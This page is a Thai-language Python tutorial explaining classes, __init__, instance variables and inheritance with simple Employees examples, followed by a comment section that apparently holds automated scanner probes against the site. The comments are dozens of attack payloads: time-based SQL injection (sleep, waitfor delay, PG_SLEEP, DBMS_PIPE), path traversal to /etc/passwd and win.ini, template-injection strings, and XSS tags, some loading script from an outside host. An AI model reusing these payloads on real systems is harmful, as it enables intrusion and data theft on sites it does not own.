CMSPY ทดสอบ Data Science Django Web Framework Python Discrete Mathematics Machine Learning
AnonymousUser | Login | Register
Access From: 18.218.245.179

Python

คลาส และ การเขียนโปรแกรมเชิงวัตถุเบื้องต้น

By prayong | Oct. 10, 2019, 9:31 p.m. | comments 241

ภาษาไพธอนมีคุณสมบัติเป็นภาษาเชิงวัตถุ นั่นคือจะสามารถดำเนินการกับโครงสร้างข้อมูลและองค์ประกอบต่างๆ ในโปรแกรมในรูปของวัตถุได้ โดยวัตถุที่กล่าวถึงนี้จะหมายถึงองค์ประกอบทุกอย่างในภาษาไพธอนที่สามารถอ้างอิงถึงได้ (ทุกอย่างที่มีการระบุชื่อ) เช่น จำนวนเต็ม ฟังก์ชั่น เมดธอด หรือสายอักขระ เป็นต้น โดยวัตถุในภาษาไพธอนจะได้รับการระบุในรูปของคลาส (Class) ซึ่งใช้ในการกำหนดรูปแบบ การสร้าง หรือการจัดการวัตถุที่มีคุณสมบัติ และวิธีการทำงานที่เหมือนกัน โดยในภาษาไพธอนจะมีคลาสมาตรฐานให้ใช้งาน และเช่นเดียวกันกับฟังก์ชั่น ผู้เขียนโปรแกรมสามารถที่จะกำหนดคลาสของตนเองขึ้นมาเพื่อใช้งานเพิ่มเติมอีกก็ได้

• คลาส

การกำหนดคลาส สามารถทำได้โดยการใช้คำสั่ง class และระบุชื่อของคาสที่กำหนด เช่น

class Student():
    pass

ซึ่งเป็นการกำหนดคราสที่มีชื่อว่า Student และภายในคลาสยังไม่มีการระบุคำสั่งการทำงานใดๆ

เราสามารถสร้างคลาสตามที่กำหนดได้โดยการระบุชื่อคลาสที่ต้องการสร้าง และ วัตถุที่จะกำหนดให้กับคลาสที่สร้างขึ้น เช่น

class Student(object)

init()

ทันทีที่มีการสร้างคลาสใหม่จากคลาสต้นแบบที่ระบุ จะต้องมีการกำหนดค่าเริ่มให้กับวัตถุที่สร้างขึ้นใหม่นั้นโดยฟังก์ชั่น init(self) โดยมีข้อมูลพื้นฐานอย่างน้อยหนึ่งตัว คือ self หรืออาจกล่าวในอีกนัยหนึ่งว่าเมื่อมีการสร้างวัตถุสำหรับคลาสใหม่ จะมีการสร้างวัตถุเปล่าๆ และกำหนดค่าเริ่มต้นให้กับวัตถุเปล่าที่สร้างขึ้น ให้เหมือนกันกับคลาสต้นแบบนั่นเอง เช่น

class Student():
    def __init__(self):

ซึ่งเป็นการกำหนดว่าเมื่อมีการสร้างวัตถุมรคลาส Student จะมีการกำหนดให้วัตถุนั้นมีคุณสมบัติเช่นเดียวกันกับ Student ซึ่งในตัวอย่างนี้จะยังไม่มีการกำหนดค่าพื้นฐานใดๆ สำหรับคลาสที่มีการกำหนดข้อมูลพื้นฐานมีตัวอย่าง ดังนี้

class Employees():
     def __init__(self, name, rate, hours): 

ในตัวอย่างนี้ เมื่อมีการสร้างวัตถุของคลาส Employees จะมีการกำหนดข้อมูลที่เป็นคุณสมบัติเฉพาะของวัตถุที่สร้างขึ้นตามที่ระบุในคลาส ซึ่งประกอบด้วย self (คุณสมบัติบังคับ) name rate และ hours ดังนั้นจะเห็นว่าวัตถุทุกวัตถุที่สร้างขึ้นจากคลาส Employees จะต้องมีคุณสมบัติพื้นฐานเหมือนกัน 3 อย่าง คือ name rate และ hours

ฟังก์ชั่นที่อยู่ภายในคลาสจะเรียกว่าเมดธอด ดังนั้นในคลาส Employees จะมีเมดธอดชื่อ init ซึ่งทำหน้าที่กำหนดค่าเริ่มต้นให้กับวัตถุเมื่อมีการสร้างคลาส Employees

• ตัวแปรต้นแบบ

จากตัวอย่างที่ผ่านมาจะเห็นว่ามีการสร้างวัตถุของคลาส Employees ขึ้น ซึ่งนอกจากจะมีองค์ประกอบพื้นฐานคือ self แล้ว ยังมีการกำหนดตัวแปรต้นแบบอื่นๆ อีก 3 ตัว คือ name rate และ hours โดยตัวแปรที่กำหนดนี้จะใช้เป็นต้นแบบสำหรับกำหนดให้กับวัตถุที่ถูกสร้างขึ้น ตัวอย่างเช่น

class Employees(object):
    def __init__(self, name, rate, hours) :
        self.name = name
        self.rate = rate
        self.hours = hours

เมื่อมีการสร้างวัตถุจะต้องมีการกำหนดข้อมูลที่สอดคล้องกับข้อมูลพื้นฐานที่กำหนดในคลาส โดยข้อมูลที่กำหนดในระหว่างการสร้างวัตถุจะกำหนดให้กับองค์ประกอบของเมดธอดที่ตรงกัน เช่น

class Employees(object):
    def __init__(self, name, rate, hours) :
        self.name = name
        self.rate = rate
        self.hours = hours
staff = Employees('jojo', 20, 8)
supervisor = Employees('altani', 35, 8)
manager = Employees('poli', 100, 8)

มีการสร้างวัตถุขึ้น 3 รายการคือ staff เป็นวัตถุที่สร้างขึ้นจากคุณสมบัติของคลาส Employees โดยในการสร้าง staff มีการกำหนดข้อมูล 3 รายการ คือ 'jojo', 20, 8 เมื่อวัตถุ staff ถูกสร้างขึ้น จะมีการกำหนดข้อมูลพื้นฐานให้กับ staff ตามโครงสร้างที่ระบุใน init โดยข้อมูลแต่ละรายการจะได้รับการกำหนดให้กับตัวแปรแต่ละตัวตามลำดับ คือ 'jojo' กำหนดให้เป็น name 20 กำหนดให้เป็นrate และ 8 กำหนดให้เป็น hours สำหรับวัตถุ supervisor และ manager ก็มีวิธีการสร้างในลักษณะเดียวกัน

เมื่อวัตถุได้รับการสร้างและกำหนดข้อมูล และคุณสมบัติแล้ว ก็จะสามารถใช้งานวัตถุนั้น รวมถึงคุณสมบัติที่วัตถุนั้นมี (ซึ่งเป็นคุณสมบัติที่คลาสต้นแบบมี) เช่น การอ้างถึง name rate หรือ hours ดังนี้

class Employees(object):
    def __init__(self, name, rate, hours) :
        self.name = name
        self.rate = rate
        self.hours = hours
staff = Employees('jojo', 20, 8)
supervisor = Employees('altani', 35, 8)
manager = Employees('poli', 100, 8)
print(staff.name)
print(supervisor.name, supervisor.rate)
print(manager.name, manager.rate, manager.hours)

ซึ่งจะได้ผลลัพธ์ดังนี้

jojo
altani 35
poli 100 8

• การสืบทอด

การสืบทอด (Inherit) หรือการสืบทอดคุณสมบัติ เป็นการรับ หรือกำหนดเมดธอด หรือคุณสมบัติที่มีจากคลาสหนึ่งไปยังอีกคลาสหนึ่ง ซึ่งคุณสมบัติลักษณะนี้ เอื้อประโยชน์ในการเขียนโปรแกรมเป็นอย่างยิ่ง โดยมีโครงสร้างของคำสั่ง ดังนี้

class ChildClass(ParentClass)

โดย ChildClass เป็นวัตถุที่สร้างขึ้นจากคลาสต้นแบบ โดยสืบทอดคุณสมบัติที่คลาสต้นแบบมีมาทุกรายการ นอกจาก ChildClass จะมีคุณสมบัติตามที่ ParentClass มีแล้ว ผู้เขียนโปรแกรมอาจเพิ่มเติมคุณสมบัติอื่นๆ ที่จำเป็นในการทำงานให้กับ ChildClass อีกก็ได้ เช่น

class Resigned(Employees):
    def __init__ (self, name, rate, hours, status):
        self.name = name
        self.rate = rate
        self.hours = hours
        self.status = status

เป็นการกำหนดคลาสใหม่ที่มีชื่อว่า Resigned โดยสืบทอดคุณสมบัติมาจากคลาส Employees ดังนั้น Resigned จะมีคุณสมบัติพื้นฐานเหมือนกันกับ Employees ทุกประการ นั่นคือมีข้อมูลพื้นฐานเป็น name rate และ hours นอกจากนี้ยังมีการเพิ่มเติม status เป็นุณสมบัติเพิ่มเติมในคลาส Resigned ดังนั้นวัตถุใดก็ตามที่สร้างขึ้นโดยใช้ Resigned เป็นคลาสต้นแบบในการสร้างจะมีคุณสมบัติ 4 รายการ คือ name rate hours และ status ดังตัวอย่าง

class Employees(object):
    def __init__(self, name, rate, hours) :
        self.name = name
        self.rate = rate
        self.hours = hours

staff = Employees('jojo', 20, 8)
supervisor = Employees('altani', 35, 8)
manager = Employees('poli', 100, 8)

print(staff.name)
print(supervisor.name, supervisor.rate)
print(manager.name, manager.rate, manager.hours)

class Resigned(Employees):
    def __init__ (self, name, rate, hours, status):
        self.name = name
        self.rate = rate
        self.hours = hours
        self.status = status

exemp_1 = Resigned('lessi', 32, 8, 'retired')
exemp_2 = Resigned('Malcolm', 48, 8, 'resigned')

print(exemp_1.name, exemp_1.rate, exemp_1.hours, exemp_1.status)
print(exemp_2.name, exemp_2.rate, exemp_2.hours, exemp_2.status)

ซึ่งจะได้ผลลัพธ์ดังนี้

jojo
altani 35
poli 100 8
lessi 32 8 retired
Malcolm 48 8 resigned

<-การกำหนดฟังก์ชั่น


ถาม-ตอบ

aYlNlfdX Oct. 14, 2023, 2:06 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:06 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:20 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:20 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:20 a.m.

-1 OR 2+260-260-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:20 a.m.

-1 OR 2+998-998-1=0+0+0+1

aYlNlfdX Oct. 14, 2023, 2:20 a.m.

-1' OR 2+807-807-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:20 a.m.

-1' OR 2+717-717-1=0+0+0+1 or 'Wq2Aguwj'='

aYlNlfdX Oct. 14, 2023, 2:20 a.m.

-1" OR 2+994-994-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:21 a.m.

if(now()=sysdate(),sleep(15),0)

aYlNlfdX Oct. 14, 2023, 2:21 a.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

aYlNlfdX Oct. 14, 2023, 2:21 a.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

aYlNlfdX Oct. 14, 2023, 2:21 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

aYlNlfdX Oct. 14, 2023, 2:22 a.m.

-1; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:22 a.m.

-1); waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:22 a.m.

1 waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:22 a.m.

gv9Zwou2'; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:23 a.m.

-5 OR 687=(SELECT 687 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:23 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:23 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:23 a.m.

-5) OR 722=(SELECT 722 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:23 a.m.

-1)) OR 392=(SELECT 392 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:23 a.m.

5XMgYWve' OR 492=(SELECT 492 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:24 a.m.

X5KbNyXY') OR 38=(SELECT 38 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:24 a.m.

un3ZcsBJ')) OR 251=(SELECT 251 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:24 a.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

aYlNlfdX Oct. 14, 2023, 2:24 a.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

aYlNlfdX Oct. 14, 2023, 2:24 a.m.

1'"

aYlNlfdX Oct. 14, 2023, 2:24 a.m.

@@LcSpT

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

-1 OR 2+177-177-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

-1 OR 2+604-604-1=0+0+0+1

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

-1' OR 2+383-383-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

-1' OR 2+891-891-1=0+0+0+1 or 's0XEVkHh'='

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

-1" OR 2+525-525-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

if(now()=sysdate(),sleep(15),0)

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

-1; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

-1); waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

1 waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

i9XaqF2c'; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:30 a.m.

-5 OR 251=(SELECT 251 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:31 a.m.

-5) OR 222=(SELECT 222 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:31 a.m.

-1)) OR 119=(SELECT 119 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:31 a.m.

IbJ9XBSd' OR 95=(SELECT 95 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:31 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

QYJovH4y') OR 278=(SELECT 278 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

-1 OR 2+812-812-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

-1 OR 2+243-243-1=0+0+0+1

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

-1' OR 2+312-312-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

-1' OR 2+634-634-1=0+0+0+1 or 'tD6GiF7C'='

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

-1" OR 2+370-370-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

jI8DvyWD')) OR 831=(SELECT 831 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

if(now()=sysdate(),sleep(15),0)

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

1'"

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

@@sEvej

aYlNlfdX Oct. 14, 2023, 2:32 a.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

-1; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

-1); waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

1 waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:33 a.m.

A5QwgF3j'; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

-5 OR 531=(SELECT 531 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

-5) OR 701=(SELECT 701 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

-1)) OR 909=(SELECT 909 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

GRP8dUuY' OR 976=(SELECT 976 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

dFSx9YDY') OR 436=(SELECT 436 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

483SlqSn')) OR 891=(SELECT 891 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

1'"

aYlNlfdX Oct. 14, 2023, 2:34 a.m.

@@xxESD

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

)

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

!(()&&!|*|*|

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

^(#$!@#$)(()))******

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

Http://bxss.me/t/fit.txt

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

http://bxss.me/t/fit.txt%3F.jpg

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

/etc/shells

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

c:/windows/win.ini

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

bxss.me

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1'"()&%<zzz><ScRiPt >WL6N(9215)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

'"()&%<zzz><ScRiPt >WL6N(9381)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

../../../../../../../../../../../../../../etc/passwd

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

../../../../../../../../../../../../../../windows/win.ini

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

file:///etc/passwd

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

../1

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

19199137

nZkkAbWB Jan. 22, 2024, 2:54 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:54 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:54 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:54 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

mP4uXcX6'

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

-1 OR 2+972-972-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

-1 OR 2+396-396-1=0+0+0+1

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

-1' OR 2+155-155-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

-1' OR 2+771-771-1=0+0+0+1 or 'jUNABqle'='

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

-1" OR 2+998-998-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

if(now()=sysdate(),sleep(15),0)

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

555

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

Zoc5tvDa' OR 566=(SELECT 566 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

-1; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

-1); waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

1 waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

B4kEtIb7'; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

-5 OR 259=(SELECT 259 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

-5) OR 939=(SELECT 939 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

-1)) OR 57=(SELECT 57 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

5Vgf48Oa' OR 727=(SELECT 727 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

EHiWWtmi') OR 33=(SELECT 33 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

VC8vEKsH')) OR 56=(SELECT 56 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

1'"

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

@@ATFCr

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

Http://bxss.me/t/fit.txt

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

http://bxss.me/t/fit.txt%3F.jpg

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

/etc/shells

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

c:/windows/win.ini

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

bxss.me

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

)

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

!(()&&!|*|*|

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

^(#$!@#$)(()))******

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

1'"()&%<zzz><ScRiPt >XSXC(9203)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:05 p.m.

'"()&%<zzz><ScRiPt >XSXC(9148)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

19057672

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

../../../../../../../../../../../../../../etc/passwd

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

../../../../../../../../../../../../../../windows/win.ini

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

file:///etc/passwd

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

../1

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

bfg9723%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9723

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

bfgx7064%C0%BEz1%C0%BCz2a%90bcxhjl7064

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

<%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

<th:t="${dfb}#foreach

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

-1 OR 2+917-917-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

-1 OR 2+928-928-1=0+0+0+1

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

-1' OR 2+605-605-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

-1' OR 2+921-921-1=0+0+0+1 or 'xtozVl69'='

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

-1" OR 2+309-309-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

dfb{{98991*97996}}xca

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

dfb[[${98991*97996}]]xca

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

dfb__${98991*97996}__::.x

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

if(now()=sysdate(),sleep(15),0)

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1<ScRiPt >XSXC(9035)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1<WGEPXM>D4OTK[!+!]</WGEPXM>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1<script>XSXC(9411)</script>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%58%53%58%43%28%39%33%38%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1<ScRiPt >XSXC(9200)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9991></ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1<isindex type=image src=1 onerror=XSXC(9727)>

nZkkAbWB Jan. 22, 2024, 3:06 p.m.

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9835'>

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

-1; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1<body onload=XSXC(9956)>

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

-1); waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1<img src=//xss.bxss.me/t/dot.gif onload=XSXC(9362)>

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1 waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

EuKW9gOc'; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

1<img src=xyz OnErRor=XSXC(9294)>

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

-5 OR 249=(SELECT 249 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:07 p.m.

-5) OR 95=(SELECT 95 FROM PG_SLEEP(15))--

